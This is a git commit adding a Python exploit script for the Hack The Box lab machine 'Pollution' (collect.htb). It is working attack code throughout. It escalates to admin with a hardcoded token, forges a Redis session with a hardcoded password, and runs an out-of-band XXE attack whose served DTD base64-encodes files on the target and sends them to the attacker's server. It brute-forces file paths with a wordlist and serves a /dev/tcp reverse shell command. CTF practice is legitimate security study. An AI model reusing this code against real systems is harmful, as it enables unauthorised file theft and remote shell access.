old htb folders
This commit is contained in:
2023-08-29 21:53:22 +02:00
parent 62ab804867
commit 82b0759f1e
21891 changed files with 6277643 additions and 0 deletions

309
HTB/pollution/xxe.py Normal file
View File

@@ -0,0 +1,309 @@
import os
import sys
import time
from threading import Thread
import subprocess
import netifaces as ni
from flask import Flask
import requests, base64
import argparse
app = Flask(__name__)
_path = "index.php"
_phpsessionid = ""
_ip = ""
_gotReq = True
_searcher=None
_searching = False
_searcher = None
proxy = {'http':'http://127.0.0.1:8080'}
s = requests.session()
r = s.get('http://collect.htb/')
_phpsessionid = s.cookies.get('PHPSESSID')
r = s.post("http://collect.htb/register", data={'username': 'user', 'password': 'user'})
r = s.post("http://collect.htb/login", data={'username': 'user', 'password': 'user'})
r = s.post("http://collect.htb/set/role/admin", data={"token": "ddac62a28254561001277727cb397baf"})
r = s.post("http://collect.htb/set/role/admin", data={"token": ""})
print("Set to Admin")
import subprocess
# arr = ["redis-cli", "-h", "collect.htb", "-a", "COLLECTR3D1SPASS" ,"set", f"PHPREDIS_SESSION:{_phpsessionid}", 'username|s:4:\"user\";role|s:5:\"admin\";auth|s:4:\"True\";']
arr = ["redis-cli", "-h", "collect.htb", "-a", "COLLECTR3D1SPASS" ,"set", f"PHPREDIS_SESSION:mntn7eua54uhar8d4rrhfjslsp", 'username|s:4:\"user\";role|s:5:\"admin\";auth|s:4:\"True\";']
subprocess.call(arr)
print(f"USE: {_phpsessionid}")
parser = argparse.ArgumentParser()
parser.add_argument('--port', type=int, required=False, default=80)
args = parser.parse_args()
def is_port_in_use(port: int) -> bool:
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
return s.connect_ex((_ip, port)) == 0 or s.connect_ex(('127.0.0.1', port)) == 0
def getIP(nic):
try:
ip = ni.ifaddresses(nic)[ni.AF_INET][0]['addr']
print(f"Found IP {ip}")
return ip # should print "192.168.100.37"
except:
return ""
_ip = getIP('tun0')
while _ip == "":
print("Could not find IP address for VPN NIC")
interface = input("Please enter the interface name: ")
_ip = getIP(interface)
while is_port_in_use(args.port):
args.port += 1
import logging
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
@app.route('/c')
def c():
return f"sh -i >& /dev/tcp/{_ip}/4444 0>&1"
@app.route('/xxe.dtd')
def xxe():
global _gotReq
_gotReq = True
return f"""<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource={_path}'>
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://{_ip}:{args.port}/file/%file;'>">
%eval;
%exfiltrate;"""
@app.route('/file/<content>')
def file(content):
content = base64.b64decode(content).decode()
if content != "":
print(content)
t = _path.replace('../', '').replace('/', '.')
while t[0] == ".":
t = t[1:]
if 'target' not in os.listdir():
os.mkdir('target')
with open(f'target/{t}', "w+") as file:
file.writelines(content)
file.close()
return ""
def request(ip, id):
data = f"""manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://{ip}:{args.port}/xxe.dtd"> %xxe;]><root><method>POST</method><uri>/auth/login</uri><user><username>user1</username><password>pass</password></user></root>"""
try:
requests.post("http://collect.htb/api",
headers={'Cookie': f'PHPSESSID={id}', 'Content-type': 'application/x-www-form-urlencoded'},
data=data)
except:
pass
pass
class Server(Thread):
port = 80
def __int__(self):
super(Server, self).__init__()
def setIP(self, ip):
self.ip = ip
def setPort(self, port):
self.port = port
def setServerObject(self, obj):
self.app = obj
def run(self) -> None:
try:
self.app.run(host=self.ip, port=self.port)
except Exception as e:
print(f"exception: {e}")
class Singleton:
"""
A non-thread-safe helper class to ease implementing singletons.
This should be used as a decorator -- not a metaclass -- to the
class that should be a singleton.
The decorated class can define one `__init__` function that
takes only the `self` argument. Also, the decorated class cannot be
inherited from. Other than that, there are no restrictions that apply
to the decorated class.
To get the singleton instance, use the `instance` method. Trying
to use `__call__` will result in a `TypeError` being raised.
"""
def __init__(self, decorated):
self._decorated = decorated
def instance(self):
"""
Returns the singleton instance. Upon its first call, it creates a
new instance of the decorated class and calls its `__init__` method.
On all subsequent calls, the already created instance is returned.
"""
try:
return self._instance
except AttributeError:
self._instance = self._decorated()
return self._instance
def __call__(self):
raise TypeError('Singletons must be accessed through `instance()`.')
@Singleton
class Searcher(Thread):
searcherapp = Flask("searcher")
startpath = "."
dirlist = "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt"
file = ""
id = _phpsessionid
port = 12346
while is_port_in_use(args.port):
port += 1
_gotReq = False
_path = ""
def __int__(self):
super(Server, self).__init__()
@searcherapp.route('/xxe.dtd')
def searcher_xxe(self=_searcher):
s = Searcher.instance()
s._gotReq = True
return f"""<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource={s._path}'>
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://{_ip}:{s.port}/file/%file;'>">
%eval;
%exfiltrate;"""
@searcherapp.route('/file/<content>')
def file(content):
global _searching
content = base64.b64decode(content).decode()
if content != "":
print(f"\nfound: {Searcher.instance()._path}\n")
print("> ")
t = Searcher.instance()._path.replace('../', '').replace('/', '.')
while t[0] == ".":
t = t[1:]
if 'target' not in os.listdir():
os.mkdir('target')
with open(f'target/{t}', "w+") as file:
file.writelines(content)
file.close()
_searching = False
return ""
def request(self, ip, id):
data = f"""manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://{ip}:{self.port}/xxe.dtd"> %xxe;]><root><method>POST</method><uri>/auth/login</uri><user><username>user1</username><password>pass</password></user></root>"""
try:
requests.post("http://collect.htb/api",
headers={'Cookie': f'PHPSESSID={id}', 'Content-type': 'application/x-www-form-urlencoded'},
data=data)
except Exception as e:
print(e.with_traceback())
pass
def setup(self, file=None, id=None, startpath=None, dirlist=None):
if file: self.file = file
if startpath: self.startpath = startpath
if id: self.id = id
if dirlist: self.dirlist = dirlist
def setFile(self, file):
self.file = file
def setStartPath(self, startpath):
self.startpath = startpath
def setID(self, id):
self.id = id
def setDirlist(self, dirlist):
self.dirlist = dirlist
def run(self) -> None:
global _searching,_searcher
_searcher = self
s = Server()
s.setIP(_ip)
s.setPort(self.port)
s.setServerObject(self.searcherapp)
s.start()
time.sleep(0.5)
self.ar = []
_searching = True
self._gotReq = True
with open(self.dirlist) as dirs:
self.ar = dirs.read().split("\n")
for line in self.ar:
if not _searching:
print("Done searching")
return
self._path = str(f"{self.startpath}/{line}/{self.file}".replace("//", "/"))
while self._gotReq == False:
pass
self._gotReq = False
self.request(_ip, _phpsessionid)
pass
if __name__ == '__main__':
pid = os.getpid()
print(f"running on pid: {pid}")
print("starting flask server")
server = Server()
server.setIP(_ip)
server.setPort(args.port)
server.setServerObject(app)
server.start()
time.sleep(0.5)
print("Now input a path or 'exit', or 'search'")
while True:
_path = input("> ")
if _searching and _path == "q":
_searching = False
if _path == "exit":
subprocess.call(['kill', str(pid)])
exit(0)
elif _path == "search":
print("search file [startpath] [dirlist]")
print(
"example: search login.php ../../developers[default:''] /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[default]")
elif _path.split(" ")[0] == "search":
s = Searcher.instance()
s.setFile(_path.split(" ")[1])
s.setID(_phpsessionid)
if len(_path.split(" ")) >= 3:
s.setStartPath(startpath=_path.split(" ")[2])
if len(_path.split(" ")) >= 4:
s.setDirlist(dirlist=_path.split(" ")[3])
s.start()
time.sleep(0.5)
else:
request(_ip, _phpsessionid)